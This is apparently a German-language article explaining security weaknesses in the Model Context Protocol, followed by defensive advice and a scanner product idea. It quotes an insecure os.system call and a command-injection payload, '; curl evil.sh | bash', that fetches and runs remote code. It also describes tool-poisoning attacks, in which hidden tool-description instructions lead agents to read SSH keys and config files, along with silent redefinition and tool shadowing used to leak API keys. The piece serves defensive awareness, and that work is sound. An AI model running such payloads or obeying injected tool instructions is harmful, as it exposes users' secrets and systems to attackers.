Das „S“ in MCP steht für Sicherheit

• Model Context Protocol (MCP) wird als Standard dafür beachtet, LLM-Agenten wie Claude, GPT und Cursor mit Tools und Daten zu verbinden, doch das grundlegende Sicherheitsmodell ist schwach, sodass bereits die Einführung selbst die Angriffsfläche vergrößern kann
• Standardisierte API-Anbindungen, persistente Sitzungen, Befehlsausführung und das Teilen von Kontext werden zwar einfacher, doch die Verbindung zu beliebigen Servern kann zu einem Umgehungspfad zu Shell, Secrets und Infrastruktur werden
• In Tests von Equixly enthielten mehr als 43 % der MCP-Server-Implementierungen unsichere Shell-Aufrufe, und Invariant Labs behandelte einen Tool Poisoning Attack, bei dem bösartige Anweisungen in Tool-Beschreibungen versteckt werden
• MCP fehlen ein Authentifizierungsstandard, Kontextverschlüsselung und eine Überprüfung der Tool-Integrität, und Nutzer können die vollständigen Tool-Anweisungen, die der Agent tatsächlich liest, nur schwer einsehen
• Entwickler brauchen Eingabevalidierung und Version-Pinning, Plattformen die Anzeige von Metadaten und Integritäts-Hashes, und Nutzer müssen Verbindungen zu beliebigen Servern sowie unerwartete Tool-Updates überwachen

---

Warum MCP zur Angriffsfläche wird

• MCP (Model Context Protocol) ist ein neuer Standard dafür, wie LLMs mit Tools und Daten integriert werden, und wird als „USB-C für AI-Agenten“ bezeichnet
• Über MCP können Agenten verschiedene Aufgaben auf standardisierte Weise erledigen
  • Verbindung zu Tools über standardisierte APIs
  • Persistente Sitzungen aufrechterhalten
  • Befehle ausführen
  • Kontext über Workflows hinweg teilen
• Das Kernproblem ist, dass MCP kein grundlegendes Sicherheitsmodell bereitstellt
  • Wird ein Agent mit einem beliebigen MCP-Server verbunden, können Seitenkanäle zu Shell, Secrets und Infrastruktur entstehen

Tatsächlich genannte Angriffswege

• Schwachstellen durch Command Injection

  • In Tests von Equixly enthielten mehr als 43 % der MCP-Server-Implementierungen unsichere Shell-Aufrufe
  • Beispielcode verknüpft Benutzereingaben direkt mit Shell-Befehlen, etwa os.system("notify-send " + notification_info['msg'])
  • Wenn ein Angreifer in MCP-Tool-Parameter ein Payload wie "; curl evil.sh | bash" einfügt, kann über einen vertrauenswürdigen Agenten Remote Code Execution ausgelöst werden

• Tool Poisoning Attack

  • Der von Invariant Labs behandelte Angriff versteckt bösartige Anweisungen in der MCP-Tool-Beschreibung
  • Diese Beschreibung ist für den Nutzer unsichtbar, wird dem AI-System aber unverändert offengelegt
  • Ein Beispiel-Tool sieht wie eine Funktion zum Addieren zweier Zahlen aus, enthält in der Beschreibung jedoch Anweisungen, ~/.ssh/id_rsa und ~/.cursor/mcp.json zu lesen
  • Agenten wie Cursor können solchen Anweisungen folgen

• Silent Redefinition

  • MCP-Tools können ihre Definition nach der Installation ändern
  • Selbst wenn ein Nutzer am ersten Tag ein sicher wirkendes Tool genehmigt hat, kann es später still so geändert werden, dass es API-Keys an einen Angreifer sendet
  • Das lässt sich als Supply-Chain-Problem verstehen, das ins Innere des LLM gelangt

• Cross-Server Tool Shadowing

  • Wenn mehrere Server mit demselben Agenten verbunden sind, kann ein bösartiger Server Aufrufe an einen vertrauenswürdigen Server überschreiben oder abfangen
  • Mögliche Folgen sind unter anderem
    • E-Mails, die scheinbar an den Nutzer gehen, werden an einen Angreifer gesendet
    • Versteckte Logik wird in eigentlich nicht verwandte Tools eingefügt
    • Datenabfluss wird über unauffällige Argumente kodiert

Fehlende Sicherheitsmechanismen und Reaktionen nach Rollen

• Die aktuelle Priorität von MCP liegt eher auf einfacher Integration und einer einheitlichen Schnittstelle; folgende Sicherheitsfunktionen fehlen
  • Kein Authentifizierungsstandard
  • Keine Kontextverschlüsselung
  • Keine Methode zur Überprüfung der Tool-Integrität
• Nutzer können die vollständigen Tool-Anweisungen, die der Agent sieht, nicht prüfen, und es gibt auch keinen Mechanismus, um zu verifizieren: „Dieses Tool wurde nicht manipuliert“

• Entwickler

  • Eingabevalidierung verwenden
  • Versionen von MCP-Servern und Tools pinnen
  • Tool-Beschreibungen bereinigen

• Plattform-Builder

  • Vollständige Tool-Metadaten anzeigen
  • Integritäts-Hashes für Server-Updates verwenden
  • Sitzungssicherheit erzwingen

• Nutzer

  • Nicht mit beliebigen Servern verbinden
  • Sitzungsverhalten wie Produktions-Logs überwachen
  • Auf unerwartete Tool-Updates achten

Idee für ScanMCP.com

• ScanMCP.com könnte einen Scanner und ein Dashboard enthalten, die verbundene MCP-Tools auditieren
• Angezeigt werden könnten unter anderem
  • Risiken wie RCE, Tool-Vergiftung und Sitzungslecks
  • Unterschiede zwischen den Informationen, die der Nutzer sieht, und den Informationen, die der Agent sieht
• Geeignete Zielgruppen sind Security-Teams von Agenten-Plattformen, AI-Infrastruktur-Startups und unabhängige Tool-Builder, für die Vertrauen wichtig ist
• MCP ist mächtig, doch bis grundlegende Sicherheitsprotokolle vorhanden sind, werden Tools benötigt, die Sichtbarkeit und Kontrolle schaffen